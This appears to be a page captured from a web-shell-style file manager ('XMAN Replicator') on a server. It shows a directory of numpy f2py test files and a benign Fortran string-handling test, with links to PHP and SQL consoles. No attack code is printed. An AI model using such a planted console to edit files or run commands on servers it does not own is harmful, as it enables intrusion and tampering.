XMAN Replicator

Path: /opt/cloudlinux/venv/lib/python3.11/site-packages/numpy/f2py/tests/src/string/

Name	Size	Rights	Date	Actions
[.]	<DIR>	drwxr-xr-x	2026-02-06 06:01	🔄 🗑️ 🗑️📁 ⬇️ 🔒
[..]	<DIR>	drwxr-xr-x	2026-01-20 13:01	🔄 🗑️ 🗑️📁 ⬇️ 🔒
char.f90	618 B	-rw-r--r--	2026-01-20 13:01	✏️ 🔄 🗑️ ⬇️ 🔒
fixed_string.f90	695 B	-rw-r--r--	2026-01-20 13:01	✏️ 🔄 🗑️ ⬇️ 🔒
scalar_string.f90	176 B	-rw-r--r--	2026-01-20 13:01	✏️ 🔄 🗑️ ⬇️ 🔒
string.f	248 B	-rw-r--r--	2026-01-20 13:01	✏️ 🔄 🗑️ ⬇️ 🔒

View: char.f90

MODULE char_test

CONTAINS

SUBROUTINE change_strings(strings, n_strs, out_strings)
    IMPLICIT NONE

    ! Inputs
    INTEGER, INTENT(IN) :: n_strs
    CHARACTER, INTENT(IN), DIMENSION(2,n_strs) :: strings
    CHARACTER, INTENT(OUT), DIMENSION(2,n_strs) :: out_strings

!f2py INTEGER, INTENT(IN) :: n_strs
!f2py CHARACTER, INTENT(IN), DIMENSION(2,n_strs) :: strings
!f2py CHARACTER, INTENT(OUT), DIMENSION(2,n_strs) :: strings

    ! Misc.
    INTEGER*4 :: j


    DO j=1, n_strs
        out_strings(1,j) = strings(1,j)
        out_strings(2,j) = 'A'
    END DO

END SUBROUTINE change_strings

END MODULE char_test

🛸 XMAN Replicator

View: char.f90

PHP Console

SQL Console